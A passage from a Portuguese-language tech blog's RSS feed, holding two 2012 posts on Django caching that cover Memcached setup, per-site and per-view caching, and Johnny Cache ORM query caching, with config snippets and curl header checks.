&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -I http://localhost:8000/

HTTP/1.0 200 OK
Date: Wed, 04 Jul 2012 00:12:17 GMT
Server: WSGIServer/0.1 Python/2.7.2
Cache-Control: max-age=600
Vary: Cookie
Expires: Wed, 04 Jul 2012 00:22:17 GMT
Content-Type: text/html; charset=utf-8
Last-Modified: Wed, 04 Jul 2012 00:12:17 GMT&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ganhamos &lt;a href=&quot;/2012/05/14/o-cache-e-o-http.html&quot; title=&quot;O cache e o HTTP&quot;&gt;cabeçalhos &lt;em&gt;HTTP&lt;/em&gt;&lt;/a&gt; com os valores correspondentes às nossas
configurações de &lt;em&gt;cache&lt;/em&gt;! Por exemplo, &lt;code class=&quot;language-text&quot;&gt;Last-Modified&lt;/code&gt; corresponde a
data de acesso, &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt; é a data de acesso acrescentando os 600
segundos de &lt;em&gt;cache&lt;/em&gt;, e o &lt;code class=&quot;language-text&quot;&gt;Expires&lt;/code&gt; corresponde ao tempo de
&lt;code class=&quot;language-text&quot;&gt;CACHE_MIDDLEWARE_SECONDS&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Interessante não? Temos um controle de &lt;em&gt;cache&lt;/em&gt; na “borda” da nossa
aplicação… não precisamos interferir nas nossas &lt;em&gt;views&lt;/em&gt;, modelos ou
consultas.&lt;/p&gt;
&lt;h4&gt;O método per-view&lt;/h4&gt;
&lt;p&gt;É natural que certas &lt;em&gt;views&lt;/em&gt; necessitem de um tempo de &lt;em&gt;cache&lt;/em&gt; diferente
de outras. Para tanto, podemos utilizar &lt;em&gt;decorators&lt;/em&gt; que “sobrescrevem”
as configurações utilizadas pelo &lt;em&gt;per-site&lt;/em&gt;, permitindo assim um
controle mais granular sobre o tempo de &lt;em&gt;cache&lt;/em&gt; das &lt;em&gt;views&lt;/em&gt;. Exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;views&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;generic&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;simple &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; direct_to_template
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;views&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;decorators&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cache &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; cache_page

urlpatterns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; patterns&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    url&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&apos;^outra-view/$&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cache_page&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;direct_to_template&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;template&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;outra-view.html&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;outra-view&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No exemplo acima estou usando a &lt;em&gt;generic view&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;direct_to_template&lt;/code&gt;
para ilustrar. Através do &lt;em&gt;decorator&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;cache_page&lt;/code&gt; eu informo o tempo
de vida desta &lt;em&gt;view&lt;/em&gt; em &lt;em&gt;cache&lt;/em&gt; (2 minutos, 60 * 2 para ficar mais
legível).&lt;/p&gt;
&lt;p&gt;E quando acessamos esta &lt;em&gt;view&lt;/em&gt;, é possível reparar que inclusive os
valores dos cabeçalhos &lt;em&gt;HTTP&lt;/em&gt; são outros:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ curl -I http://localhost:8000/outra-view/

HTTP/1.0 200 OK
Date: Wed, 04 Jul 2012 00:28:07 GMT
Server: WSGIServer/0.1 Python/2.7.2
Last-Modified: Wed, 04 Jul 2012 00:28:07 GMT
Expires: Wed, 04 Jul 2012 00:30:07 GMT
Content-Type: text/html; charset=utf-8
Vary: Cookie
Cache-Control: max-age=120&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ainda é possível passar como parâmetro para o &lt;code class=&quot;language-text&quot;&gt;cache_page&lt;/code&gt;, o
&lt;code class=&quot;language-text&quot;&gt;cache&lt;/code&gt; que você deseja utilizar (por padrão &lt;code class=&quot;language-text&quot;&gt;default&lt;/code&gt;), e um
&lt;code class=&quot;language-text&quot;&gt;key_prefix&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Caching de queries com o Johnny Cache&lt;/h2&gt;
&lt;p&gt;É normal que algumas rotas da sua aplicação não possam fazer utilização
desse tipo de &lt;em&gt;cache&lt;/em&gt;. Por exemplo, &lt;em&gt;views&lt;/em&gt; para usuários autenticados,
que necessitam transitar informações de sessão e &lt;em&gt;cookies&lt;/em&gt;, ou até mesmo
&lt;em&gt;views&lt;/em&gt; que precisam receber informações através de &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vamos imaginar que, dentro desse cenário, a sua &lt;em&gt;app&lt;/em&gt; faça uma consulta
“custosa” ao banco de dados. Logo, concluímos que adicionar um controle
de &lt;em&gt;cache&lt;/em&gt; a esta consulta seria extremamente interessante para a
velocidade de resposta da &lt;em&gt;view&lt;/em&gt;. A primeira opção é utilizar o
&lt;em&gt;framework&lt;/em&gt; de &lt;em&gt;cache&lt;/em&gt; do &lt;em&gt;Django&lt;/em&gt; de forma granular, através de sua
&lt;em&gt;API&lt;/em&gt;. A outra opção é fazer &lt;em&gt;caching&lt;/em&gt; “dentro” do &lt;em&gt;ORM&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;É apoiado nessa última proposta que o &lt;a href=&quot;http://packages.python.org/johnny-cache/&quot; title=&quot;Conheça a ferramenta de caching, Johnny Cache&quot;&gt;&lt;em&gt;Johnny Cache&lt;/em&gt;&lt;/a&gt; se baseia:
“cachear” dados transitados através do &lt;em&gt;ORM&lt;/em&gt; do &lt;em&gt;Django&lt;/em&gt;, não
interferindo no código das &lt;em&gt;apps&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Johnny Cache&lt;/em&gt; está no &lt;a href=&quot;http://pypi.python.org/pypi&quot; title=&quot;the Python Package Index&quot;&gt;&lt;em&gt;PyPi&lt;/em&gt;&lt;/a&gt;, então basta um &lt;code class=&quot;language-text&quot;&gt;pip install johnny-cache&lt;/code&gt; para realizarmos a instalação. Para configurar,
precisamos adicionar algumas informações ao &lt;code class=&quot;language-text&quot;&gt;settings.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;MIDDLEWARE_CLASSES &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;johnny.middleware.LocalStoreClearMiddleware&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;johnny.middleware.QueryCacheMiddleware&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

CACHES &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;default&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;BACKEND&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;johnny.backends.memcached.MemcachedCache&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;LOCATION&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;127.0.0.1:11211&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;JOHNNY_CACHE&apos;&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Onde:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;johnny.middleware.LocalStoreClearMiddleware:&lt;/code&gt; O &lt;em&gt;Johnny&lt;/em&gt; utiliza
este &lt;em&gt;middleware&lt;/em&gt; para gerenciar o &lt;em&gt;cache&lt;/em&gt; de uma &lt;a href=&quot;https://github.com/jmoiron/johnny-cache/blob/master/johnny/transaction.py&quot; title=&quot;Veja o uso dessa modalidade no módulo transaction.py&quot;&gt;maneira &quot;thread-safe&quot;&lt;/a&gt;.
Ele basicamente limpa este objeto ao final de cada
requisição.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;johnny.middleware.QueryCacheMiddleware:&lt;/code&gt; É o &lt;em&gt;middleware&lt;/em&gt;
responsável pela “mágica” de &lt;em&gt;caching&lt;/em&gt; no &lt;em&gt;ORM&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;O &lt;em&gt;backend&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;johnny.backends.memcached.MemcachedCache&lt;/code&gt; é basicamente
uma &lt;a href=&quot;https://github.com/jmoiron/johnny-cache/blob/master/johnny/backends/memcached.py&quot; title=&quot;Veja o código-fonte&quot;&gt;subclasse do &lt;em&gt;backend built-in&lt;/em&gt; do &lt;em&gt;Django&lt;/em&gt; para o &lt;em&gt;Memcached&lt;/em&gt;&lt;/a&gt;,
com a adição do seguinte comportamento: Se o &lt;em&gt;timeout&lt;/em&gt; for setado como 0
(zero), o &lt;em&gt;cache&lt;/em&gt; fica “infinito”.&lt;/p&gt;
&lt;p&gt;Com a opção &lt;code class=&quot;language-text&quot;&gt;JOHNNY_CACHE&lt;/code&gt; como &lt;code class=&quot;language-text&quot;&gt;True&lt;/code&gt;, estamos informando ao
&lt;em&gt;Johnny&lt;/em&gt; que este é o &lt;em&gt;pool&lt;/em&gt; de &lt;em&gt;cache&lt;/em&gt; que ele deve usar para &lt;em&gt;caching&lt;/em&gt;
das &lt;em&gt;queries&lt;/em&gt;. É possível ter uma configuração diferenciada, como
encontrada no &lt;a href=&quot;https://github.com/nelas/cifonauta/blob/master/dummy_settings_server.py#L33&quot; title=&quot;Veja o código-fonte do projeto no GitHub&quot;&gt;projeto Cifonauta&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Com a ajuda do &lt;a href=&quot;http://pypi.python.org/pypi/django-debug-toolbar/&quot; title=&quot;Excelente lib para debugging de projetos Django&quot;&gt;django-debug-toolbar&lt;/a&gt;, podemos ver o número de
&lt;em&gt;queries&lt;/em&gt; diminuírem consideravelmente (fatalmente ocasionando um tempo
de resposta menor). Quando um registro for adicionado, editado ou
removido, o &lt;em&gt;Johnny Cache&lt;/em&gt; remove as &lt;em&gt;queries&lt;/em&gt; envolvendo determinada
tabela do &lt;em&gt;cache&lt;/em&gt;, permitindo assim uma nova “batida” no banco de dados
(e um novo armazenamento dos resultados).&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Como &lt;a href=&quot;/2011/12/19/nginx-poderoso-rapido-facil.html&quot; title=&quot;Nginx: Poderoso, rápido e fácil&quot;&gt;já mencionei&lt;/a&gt;, gosto muito dos ensinamentos e experiências
compartilhadas pelo pessoal da &lt;a href=&quot;http://37signals.com/&quot; title=&quot;Making collaboration productive and enjoyable for people every day&quot;&gt;&lt;em&gt;37Signals&lt;/em&gt;&lt;/a&gt;. Um deles é para nos
preocuparmos com performance quando isto for realmente um problema.&lt;/p&gt;
&lt;p&gt;Logo, (&lt;em&gt;IMO&lt;/em&gt;) não construa uma mega
&lt;a href=&quot;/tag/infraestrutura.html&quot; title=&quot;Leia mais sobre infra&quot;&gt;infraestrutura&lt;/a&gt; para uma aplicação que atende 50 usuários por dia.
Você está desperdiçando o seu tempo e linhas de código. Em
contrapartida, qualquer esforço para melhorar a experiência do usuário,
e para economizar recursos, &lt;strong&gt;é sempre bem-vinda&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Vale sempre ressaltar que problemas de performance podem estar
relacionados a qualidade do código produzido, e não necessariamente com
o consumo da aplicação. Então, se a demanda está baixa e mesmo assim
você tem tempos de resposta absurdamente altos, talvez seja a hora de
“refatorar” o seu código.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/1.4/topics/cache/&quot; title=&quot;Leia tudo sobre o framework de cache do Django&quot;&gt;&lt;em&gt;Django Documentation – Cache Framework&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/dev/ref/templates/api/#loader-types&quot; title=&quot;Mais informações sobre os template loaders do Django&quot;&gt;&lt;em&gt;Django Documentation – The Django template language: Loader types&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://packages.python.org/johnny-cache/&quot; title=&quot;Mais informações sobre o uso do Johnny Cache&quot;&gt;&lt;em&gt;Johnny Cache Documentation&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.jongales.com/blog/2012/02/16/make-django-keep-templates-in-memory/&quot; title=&quot;Leia mais sobre o cached.Loader&quot;&gt;&lt;em&gt;Jongales.com – Make Django keep templates in memory&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Django e Cache: Uma dupla de alta performance - Parte 1]]></title><description><![CDATA[Embora o caching HTTP seja essencial
para qualquer aplicação web, (IMO)
essa modalidade de cache deve ser encarada como um acréscimo à…]]></description><link>https://klauslaube.com.br/2012/06/17/django-e-cache-uma-dupla-de-alta-performance-1.html</link><guid isPermaLink="false">https://klauslaube.com.br/2012/06/17/django-e-cache-uma-dupla-de-alta-performance-1.html</guid><pubDate>Sun, 17 Jun 2012 15:52:22 GMT</pubDate><content:encoded>&lt;p&gt;Embora o &lt;a href=&quot;/2012/05/14/o-cache-e-o-http.html&quot; title=&quot;O cache e o HTTP&quot;&gt;&lt;em&gt;caching HTTP&lt;/em&gt;&lt;/a&gt; seja essencial
para qualquer aplicação &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;, &lt;strong&gt;(IMO)&lt;/strong&gt;
essa modalidade de &lt;a href=&quot;/tag/cache.html&quot; title=&quot;Leia mais sobre Cache&quot;&gt;&lt;em&gt;cache&lt;/em&gt;&lt;/a&gt; deve ser encarada como um acréscimo à
experiência de uso, e não necessariamente como uma “arma” contra
problemas de performance. Os usuários poderão abdicar desta
funcionalidade, e aí a sua aplicação não poderá depender do protocolo
para atingir tempos de resposta atrativos.&lt;/p&gt;
&lt;p&gt;Desenvolvedores &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; podem contar com boas soluções, do próprio
&lt;em&gt;framework&lt;/em&gt; e de terceiros, que podem melhorar o &lt;em&gt;caching&lt;/em&gt; das
aplicações (e consequentemente a performance). A grande notícia é que
essas ferramentas são fáceis e práticas. Vamos conhecê-las?&lt;/p&gt;
&lt;h2&gt;O Memcached&lt;/h2&gt;
&lt;p&gt;Eu juro que tentei escrever uma introdução
para este tópico, mas a descricão contida no &lt;a href=&quot;http://memcached.org/&quot; title=&quot;A distributed memory object caching system&quot;&gt;site oficial do &lt;em&gt;Memcached&lt;/em&gt;&lt;/a&gt; é
tão boa, que vou simplesmente copiá-la:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Memcached is an in-memory key-value store for small chunks of arbitrary
data (strings, objects) from results of database calls,
API calls, or page rendering.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em outras palavras, é uma ferramenta &lt;em&gt;open source&lt;/em&gt;, que tem como função
o armazenamento (e gerenciamento) de resultados de &lt;em&gt;queries&lt;/em&gt;, conteúdo
de arquivos, processamentos avançados, ou qualquer tipo de informação,
em memória (um meio muito mais rápido de ser lido que em disco, por
exemplo). Embora esse potencial possa ser utilizado para os mais
diferentes fins, é como mecanismo de &lt;em&gt;caching&lt;/em&gt; que ele se destaca.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Memcached&lt;/em&gt; foi construído em um esquema “cliente-servidor”, e é
possível utilizá-lo com uma grande quantidade de linguagens de
programação. Mas o que eu acho mais bacana na ferramenta é a
possibilidade de utilizá-la de forma distribuída. Isso propicia uma
flexibilidade muito maior na hora de construirmos a &lt;a href=&quot;/tag/infraestrutura.html&quot; title=&quot;Leia mais sobre infra&quot;&gt;infraestrutura&lt;/a&gt;
para servir as nossas aplicações &lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Mas a “cereja do bolo” é: O &lt;em&gt;Django&lt;/em&gt; funciona muito bem com o
&lt;em&gt;Memcached&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Framework de cache do Django&lt;/h2&gt;
&lt;p&gt;O uso do &lt;em&gt;Memcached&lt;/em&gt; não é obrigatório! Na verdade, podemos utilizar
diferentes &lt;em&gt;backends&lt;/em&gt; para diferentes tipos de mecanismos de &lt;em&gt;cache&lt;/em&gt;. O
&lt;em&gt;Django&lt;/em&gt; possui algumas opções disponíveis, sem necessitar utilizar
nenhum “código de terceiro”. Temos a opção de fazer &lt;em&gt;cache&lt;/em&gt; em disco,
banco de dados ou até mesmo “simularmos” a interação com &lt;em&gt;cache&lt;/em&gt; (muito
bom para ambientes de desenvolvimento). &lt;a href=&quot;https://docs.djangoproject.com/en/1.3/topics/cache/#setting-up-the-cache&quot; title=&quot;Setting up cache&quot;&gt;Leia mais sobre&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Neste &lt;em&gt;post&lt;/em&gt;, vamos nos concentrar na configuração do &lt;em&gt;Django&lt;/em&gt; com o
&lt;em&gt;Memcached&lt;/em&gt;. Para instalar, &lt;a href=&quot;http://code.google.com/p/memcached/wiki/NewInstallFromSource&quot; title=&quot;Memcached - Why build from source&quot;&gt;basta compilar através do make&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ wget http://memcached.org/latest
$ tar -zxvf memcached-1.4.13.tar.gz
$ cd memcached-1.4.13
$ ./configure
$ make &amp;amp;&amp;amp; make test
$ make install&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Utilizando a &lt;a href=&quot;ftp://ftp.tummy.com/pub/python-memcached/&quot; title=&quot;Conheça a python-memcached&quot;&gt;&lt;em&gt;python-memcached&lt;/em&gt;&lt;/a&gt; como &lt;em&gt;binding&lt;/em&gt; &lt;em&gt;Python&lt;/em&gt; para o
&lt;em&gt;Memcached&lt;/em&gt;, basta adicionarmos o seguinte &lt;em&gt;backend&lt;/em&gt; ao &lt;strong&gt;settings.py&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;CACHES &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;default&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;BACKEND&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;django.core.cache.backends.memcached.MemcachedCache&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;LOCATION&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;127.0.0.1:11211&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;TIMEOUT&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Default: 300 segundos,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;KEY_PREFIX&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;djcache&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Onde:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;BACKEND:&lt;/code&gt; É o módulo responsável por se comunicar com o
&lt;em&gt;Memcached&lt;/em&gt;. Estamos utilizando este &lt;em&gt;backend&lt;/em&gt; pois optamos pela
&lt;em&gt;python-memcached&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;LOCATION:&lt;/code&gt; É a porta (ou &lt;em&gt;socket&lt;/em&gt;) onde o serviço do &lt;em&gt;Memcached&lt;/em&gt;
está respondendo. A porta padrão é a 11211.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;TIMEOUT:&lt;/code&gt; É o tempo de vida do informação “cacheada”. Acima
informamos 60 segundos, o padrão é 5 minutos.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;KEY_PREFIX:&lt;/code&gt; É um valor que precederá todas as chaves que
utilizarmos com o &lt;em&gt;Django&lt;/em&gt;. Bem útil para prevenir que duas
aplicações utilizem o mesmo valor no &lt;em&gt;Memcached&lt;/em&gt; (quando este não é
o comportamento esperado).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/dev/topics/cache/#cache-arguments&quot; title=&quot;Cache Arguments - Django Documentation&quot;&gt;Conheça outras opções de configurações.&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Pronto! As ferramentas estão apresentadas e estamos prontos para partir
para uma abordagem prática.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Django&lt;/em&gt; já vem “preparado” para trabalhar com mecanismos de &lt;em&gt;cache&lt;/em&gt;.
O seu esquema de &lt;em&gt;backends&lt;/em&gt; permite que você “acople” diferentes módulos
para atender os mais exóticos mecanismos de &lt;em&gt;cache&lt;/em&gt;, sem necessariamente
precisar alterar código nas suas &lt;em&gt;apps&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;É bem verdade que o &lt;em&gt;Memcached&lt;/em&gt; é um tanto “tradicional”, e que hoje
existem alternativas mais “atrativas”, como o &lt;a href=&quot;http://redis.io/&quot; title=&quot;Redis is an open source, advanced key-value store&quot;&gt;&lt;em&gt;Redis&lt;/em&gt;&lt;/a&gt;. Na prática,
depende muito do cenário no qual você está inserido, por exemplo, no
&lt;a href=&quot;http://globoesporte.globo.com/&quot; title=&quot;a melhor cobertura sobre o Futebol e Outros Esportes, no Brasil e no Mundo&quot;&gt;&lt;em&gt;Globoesporte.com&lt;/em&gt;&lt;/a&gt; utilizamos o &lt;em&gt;Memcached&lt;/em&gt; e ele nos atende muito
bem.&lt;/p&gt;
&lt;p&gt;No próximo &lt;em&gt;post&lt;/em&gt; vamos partir para uma abordagem mais prática, cobrindo
as diferentes maneiras de utilizar &lt;em&gt;caching&lt;/em&gt; com &lt;em&gt;Django&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até lá...&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://amix.dk/blog/post/19471&quot; title=&quot;Um post antigo, com o comparativo entre pylibmc e python-memcached&quot;&gt;&lt;em&gt;Amix.dk – memcached: Benchmark of 4 Python libraries&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/dev/topics/cache/&quot; title=&quot;Leia a documentação do framework de cache do Django&quot;&gt;&lt;em&gt;Django Documentation – Django’s cache framework&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://memcached.org/&quot; title=&quot;Página principal do projeto Memcached&quot;&gt;&lt;em&gt;Memcached.org&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sendapatch.se/projects/pylibmc/&quot; title=&quot;Cliente Python escrito em C para trabalhar com o Memcached&quot;&gt;&lt;em&gt;pylibmc – Python client for memcached&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Memcached&quot; title=&quot;Leia mais sobre o Memcached no Wikipedia&quot;&gt;&lt;em&gt;Wikipedia: Memcached&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Opinião: Imersão Javascript - e-Genial]]></title><description><![CDATA[Para inaugurar a série
